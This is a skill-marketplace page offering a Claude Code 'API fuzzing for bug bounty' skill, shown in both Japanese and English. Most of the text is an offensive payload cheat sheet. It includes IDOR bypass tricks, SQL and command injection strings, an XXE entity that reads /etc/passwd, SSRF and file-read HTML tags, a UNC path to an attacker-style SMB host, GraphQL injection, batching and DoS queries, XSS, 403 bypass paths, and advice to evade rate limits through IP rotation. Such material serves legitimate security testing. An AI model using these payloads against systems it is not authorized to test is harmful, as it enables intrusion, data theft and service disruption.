jpskill.com
🛠️ 開発・MCP コミュニティ

api-fuzzing-for-bug-bounty

This skill should be used when the user asks to "test API security", "fuzz APIs", "find IDOR vulnerabilities", "test REST API", "test GraphQL", "API penetration testing", "bug bounty API testing", or needs guidance on API security assessment techniques.

⚡ おすすめ: コマンド1行でインストール(60秒)

下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。

🍎 Mac / 🐧 Linux
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o api-fuzzing-for-bug-bounty.zip https://jpskill.com/download/19894.zip && unzip -o api-fuzzing-for-bug-bounty.zip && rm api-fuzzing-for-bug-bounty.zip
🪟 Windows (PowerShell)
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/19894.zip -OutFile "$d\api-fuzzing-for-bug-bounty.zip"; Expand-Archive "$d\api-fuzzing-for-bug-bounty.zip" -DestinationPath $d -Force; ri "$d\api-fuzzing-for-bug-bounty.zip"

完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。

💾 手動でダウンロードしたい(コマンドが難しい人向け)
  1. 1. 下の青いボタンを押して api-fuzzing-for-bug-bounty.zip をダウンロード
  2. 2. ZIPファイルをダブルクリックで解凍 → api-fuzzing-for-bug-bounty フォルダができる
  3. 3. そのフォルダを C:\Users\あなたの名前\.claude\skills\(Win)または ~/.claude/skills/(Mac)へ移動
  4. 4. Claude Code を再起動

⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。

🎯 このSkillでできること

下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。

📦 インストール方法 (3ステップ)

  1. 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
  2. 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
  3. 3. 展開してできたフォルダを、ホームフォルダの .claude/skills/ に置く
    • · macOS / Linux: ~/.claude/skills/
    • · Windows: %USERPROFILE%\.claude\skills\

Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。

詳しい使い方ガイドを見る →
最終更新
2026-05-18
取得日時
2026-05-18
同梱ファイル
1

📖 Skill本文(日本語訳)

※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。

バグバウンティのためのAPIファジング

目的

バグバウンティハンティングおよびペネトレーションテストの際に、REST、SOAP、GraphQL APIをテストするための包括的な手法を提供します。脆弱性の発見、認証バイパス、IDOR悪用、およびAPI固有の攻撃ベクトルをカバーします。

入力/前提条件

  • Burp Suiteまたは同様のプロキシツール
  • APIワードリスト(SecLists、api_wordlist)
  • REST/GraphQL/SOAPプロトコルの理解
  • スクリプト作成のためのPython
  • ターゲットAPIエンドポイントとドキュメント(利用可能な場合)

出力/成果物

  • 特定されたAPIの脆弱性
  • IDOR悪用の証明
  • 認証バイパス手法
  • SQLインジェクションポイント
  • 不正なデータアクセスに関するドキュメント

APIタイプ概要

タイプ プロトコル データ形式 構造
SOAP HTTP XML ヘッダー + ボディ
REST HTTP JSON/XML/URL 定義されたエンドポイント
GraphQL HTTP カスタムクエリ 単一のエンドポイント

コアワークフロー

ステップ1:API偵察

APIタイプを特定し、エンドポイントを列挙します。

# Swagger/OpenAPIドキュメントの確認
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Kiterunnerを使用してAPIを検出
kr scan https://target.com -w routes-large.kite

# Swaggerからパスを抽出
python3 json2paths.py swagger.json

ステップ2:認証テスト

# さまざまなログインパスをテスト
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# 認証エンドポイントのレート制限を確認
# レート制限がない場合 → ブルートフォースが可能

# モバイルAPIとウェブAPIを個別にテスト
# 同じセキュリティ制御を想定しない

ステップ3:IDORテスト

不適切な直接オブジェクト参照は、最も一般的なAPIの脆弱性です。

# 基本的なIDOR
GET /api/users/1234 → GET /api/users/1235

# IDがメールベースであっても、数値を試す
/?user_id=user@mail.com の代わりに /?user_id=111

# /me/orders と /user/654321/orders をテスト

IDORバイパス手法:

# IDを配列でラップ
{"id":111} → {"id":[111]}

# JSONでラップ
{"id":111} → {"id":{"id":111}}

# IDを2回送信
URL?id=<LEGIT>&id=<VICTIM>

# ワイルドカードインジェクション
{"user_id":"*"}

# パラメータ汚染
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

ステップ4:インジェクションテスト

JSONにおけるSQLインジェクション:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (脆弱性あり!)
{"id":"56456 AND sleep(15)#"}     → 15秒スリープ

コマンドインジェクション:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linuxコマンドインジェクション
api.url.com/endpoint?name=file.txt;ls%20/

XXEインジェクション:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

API経由のSSRF:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combineの脆弱性:

# .NETアプリがPath.Combine(path_1, path_2)を使用している場合
# パストラバーサルをテスト
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

ステップ5:メソッドテスト

# すべてのHTTPメソッドをテスト
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# コンテンツタイプを切り替える
Content-Type: application/json → application/xml

GraphQL固有のテスト

イントロスペクションクエリ

バックエンドスキーマ全体を取得します。

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URLエンコード版:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# 他のユーザーIDへのアクセスを試みる
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQLインジェクション

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

レート制限バイパス(バッチ処理)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS(ネストされたクエリ)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# GraphQLエンドポイント経由のXSS
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URLエンコードされたXSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQLツール

ツール 目的
GraphCrawler スキーマ検出
graphw00f フィンガープリンティング
clairvoyance スキーマ再構築
InQL Burp拡張機能
GraphQLmap 悪用

エンドポイントバイパス手法

403/401を受け取った場合、以下のバイパスを試してください。

# 元のブロックされたリクエスト
/api/v1/users/sensitivedata → 403

# バイパス試行
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

出力悪用

PDFエクスポート攻撃

<!-- PDFエクスポート経由のLFI -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- PDFエクスポート経由のSSRF -->
<object data="http://127.0.0.1:8443"/>

<!-- ポートスキャン -->
<img src="http://127.0.0.1:445"/>

<!-- IP開示 -->
<img src="https://iplogger.com/yourcode.gif"/>

制限によるDoS

# 通常のリクエスト
/api/news?limit=100

# DoS試行
/api/news?limit=999999999
📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開

API Fuzzing for Bug Bounty

Purpose

Provide comprehensive techniques for testing REST, SOAP, and GraphQL APIs during bug bounty hunting and penetration testing engagements. Covers vulnerability discovery, authentication bypass, IDOR exploitation, and API-specific attack vectors.

Inputs/Prerequisites

  • Burp Suite or similar proxy tool
  • API wordlists (SecLists, api_wordlist)
  • Understanding of REST/GraphQL/SOAP protocols
  • Python for scripting
  • Target API endpoints and documentation (if available)

Outputs/Deliverables

  • Identified API vulnerabilities
  • IDOR exploitation proofs
  • Authentication bypass techniques
  • SQL injection points
  • Unauthorized data access documentation

API Types Overview

Type Protocol Data Format Structure
SOAP HTTP XML Header + Body
REST HTTP JSON/XML/URL Defined endpoints
GraphQL HTTP Custom Query Single endpoint

Core Workflow

Step 1: API Reconnaissance

Identify API type and enumerate endpoints:

# Check for Swagger/OpenAPI documentation
/swagger.json
/openapi.json
/api-docs
/v1/api-docs
/swagger-ui.html

# Use Kiterunner for API discovery
kr scan https://target.com -w routes-large.kite

# Extract paths from Swagger
python3 json2paths.py swagger.json

Step 2: Authentication Testing

# Test different login paths
/api/mobile/login
/api/v3/login
/api/magic_link
/api/admin/login

# Check rate limiting on auth endpoints
# If no rate limit → brute force possible

# Test mobile vs web API separately
# Don't assume same security controls

Step 3: IDOR Testing

Insecure Direct Object Reference is the most common API vulnerability:

# Basic IDOR
GET /api/users/1234 → GET /api/users/1235

# Even if ID is email-based, try numeric
/?user_id=111 instead of /?user_id=user@mail.com

# Test /me/orders vs /user/654321/orders

IDOR Bypass Techniques:

# Wrap ID in array
{"id":111} → {"id":[111]}

# JSON wrap
{"id":111} → {"id":{"id":111}}

# Send ID twice
URL?id=<LEGIT>&id=<VICTIM>

# Wildcard injection
{"user_id":"*"}

# Parameter pollution
/api/get_profile?user_id=<victim>&user_id=<legit>
{"user_id":<legit_id>,"user_id":<victim_id>}

Step 4: Injection Testing

SQL Injection in JSON:

{"id":"56456"}                    → OK
{"id":"56456 AND 1=1#"}           → OK  
{"id":"56456 AND 1=2#"}           → OK
{"id":"56456 AND 1=3#"}           → ERROR (vulnerable!)
{"id":"56456 AND sleep(15)#"}     → SLEEP 15 SEC

Command Injection:

# Ruby on Rails
?url=Kernel#open → ?url=|ls

# Linux command injection
api.url.com/endpoint?name=file.txt;ls%20/

XXE Injection:

<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>

SSRF via API:

<object data="http://127.0.0.1:8443"/>
<img src="http://127.0.0.1:445"/>

.NET Path.Combine Vulnerability:

# If .NET app uses Path.Combine(path_1, path_2)
# Test for path traversal
https://example.org/download?filename=a.png
https://example.org/download?filename=C:\inetpub\wwwroot\web.config
https://example.org/download?filename=\\smb.dns.attacker.com\a.png

Step 5: Method Testing

# Test all HTTP methods
GET /api/v1/users/1
POST /api/v1/users/1
PUT /api/v1/users/1
DELETE /api/v1/users/1
PATCH /api/v1/users/1

# Switch content type
Content-Type: application/json → application/xml

GraphQL-Specific Testing

Introspection Query

Fetch entire backend schema:

{__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,args{name,type{name,kind}}}}}}

URL-encoded version:

/graphql?query={__schema{types{name,kind,description,fields{name}}}}

GraphQL IDOR

# Try accessing other user IDs
query {
  user(id: "OTHER_USER_ID") {
    email
    password
    creditCard
  }
}

GraphQL SQL/NoSQL Injection

mutation {
  login(input: {
    email: "test' or 1=1--"
    password: "password"
  }) {
    success
    jwt
  }
}

Rate Limit Bypass (Batching)

mutation {login(input:{email:"a@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"b@example.com" password:"password"}){success jwt}}
mutation {login(input:{email:"c@example.com" password:"password"}){success jwt}}

GraphQL DoS (Nested Queries)

query {
  posts {
    comments {
      user {
        posts {
          comments {
            user {
              posts { ... }
            }
          }
        }
      }
    }
  }
}

GraphQL XSS

# XSS via GraphQL endpoint
http://target.com/graphql?query={user(name:"<script>alert(1)</script>"){id}}

# URL-encoded XSS
http://target.com/example?id=%C/script%E%Cscript%Ealert('XSS')%C/script%E

GraphQL Tools

Tool Purpose
GraphCrawler Schema discovery
graphw00f Fingerprinting
clairvoyance Schema reconstruction
InQL Burp extension
GraphQLmap Exploitation

Endpoint Bypass Techniques

When receiving 403/401, try these bypasses:

# Original blocked request
/api/v1/users/sensitivedata → 403

# Bypass attempts
/api/v1/users/sensitivedata.json
/api/v1/users/sensitivedata?
/api/v1/users/sensitivedata/
/api/v1/users/sensitivedata??
/api/v1/users/sensitivedata%20
/api/v1/users/sensitivedata%09
/api/v1/users/sensitivedata#
/api/v1/users/sensitivedata&details
/api/v1/users/..;/sensitivedata

Output Exploitation

PDF Export Attacks

<!-- LFI via PDF export -->
<iframe src="file:///etc/passwd" height=1000 width=800>

<!-- SSRF via PDF export -->
<object data="http://127.0.0.1:8443"/>

<!-- Port scanning -->
<img src="http://127.0.0.1:445"/>

<!-- IP disclosure -->
<img src="https://iplogger.com/yourcode.gif"/>

DoS via Limits

# Normal request
/api/news?limit=100

# DoS attempt
/api/news?limit=9999999999

Common API Vulnerabilities Checklist

Vulnerability Description
API Exposure Unprotected endpoints exposed publicly
Misconfigured Caching Sensitive data cached incorrectly
Exposed Tokens API keys/tokens in responses or URLs
JWT Weaknesses Weak signing, no expiration, algorithm confusion
IDOR / BOLA Broken Object Level Authorization
Undocumented Endpoints Hidden admin/debug endpoints
Different Versions Security gaps in older API versions
Rate Limiting Missing or bypassable rate limits
Race Conditions TOCTOU vulnerabilities
XXE Injection XML parser exploitation
Content Type Issues Switching between JSON/XML
HTTP Method Tampering GET→DELETE/PUT abuse

Quick Reference

Vulnerability Test Payload Risk
IDOR Change user_id parameter High
SQLi ' OR 1=1-- in JSON Critical
Command Injection ; ls / Critical
XXE DOCTYPE with ENTITY High
SSRF Internal IP in params High
Rate Limit Bypass Batch requests Medium
Method Tampering GET→DELETE High

Tools Reference

Category Tool URL
API Fuzzing Fuzzapi github.com/Fuzzapi/fuzzapi
API Fuzzing API-fuzzer github.com/Fuzzapi/API-fuzzer
API Fuzzing Astra github.com/flipkart-incubator/Astra
API Security apicheck github.com/BBVA/apicheck
API Discovery Kiterunner github.com/assetnote/kiterunner
API Discovery openapi_security_scanner github.com/ngalongc/openapi_security_scanner
API Toolkit APIKit github.com/API-Security/APIKit
API Keys API Guesser api-guesser.netlify.app
GUID GUID Guesser gist.github.com/DanaEpp/8c6803e542f094da5c4079622f9b4d18
GraphQL InQL github.com/doyensec/inql
GraphQL GraphCrawler github.com/gsmith257-cyber/GraphCrawler
GraphQL graphw00f github.com/dolevf/graphw00f
GraphQL clairvoyance github.com/nikitastupin/clairvoyance
GraphQL batchql github.com/assetnote/batchql
GraphQL graphql-cop github.com/dolevf/graphql-cop
Wordlists SecLists github.com/danielmiessler/SecLists
Swagger Parser Swagger-EZ rhinosecuritylabs.github.io/Swagger-EZ
Swagger Routes swagroutes github.com/amalmurali47/swagroutes
API Mindmap MindAPI dsopas.github.io/MindAPI/play
JSON Paths json2paths github.com/s0md3v/dump/tree/master/json2paths

Constraints

Must:

  • Test mobile, web, and developer APIs separately
  • Check all API versions (/v1, /v2, /v3)
  • Validate both authenticated and unauthenticated access

Must Not:

  • Assume same security controls across API versions
  • Skip testing undocumented endpoints
  • Ignore rate limiting checks

Should:

  • Add X-Requested-With: XMLHttpRequest header to simulate frontend
  • Check archive.org for historical API endpoints
  • Test for race conditions on sensitive operations

Examples

Example 1: IDOR Exploitation

# Original request (own data)
GET /api/v1/invoices/12345
Authorization: Bearer <token>

# Modified request (other user's data)
GET /api/v1/invoices/12346
Authorization: Bearer <token>

# Response reveals other user's invoice data

Example 2: GraphQL Introspection

curl -X POST https://target.com/graphql \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name,fields{name}}}}"}'

Troubleshooting

Issue Solution
API returns nothing Add X-Requested-With: XMLHttpRequest header
401 on all endpoints Try adding ?user_id=1 parameter
GraphQL introspection disabled Use clairvoyance for schema reconstruction
Rate limited Use IP rotation or batch requests
Can't find endpoints Check Swagger, archive.org, JS files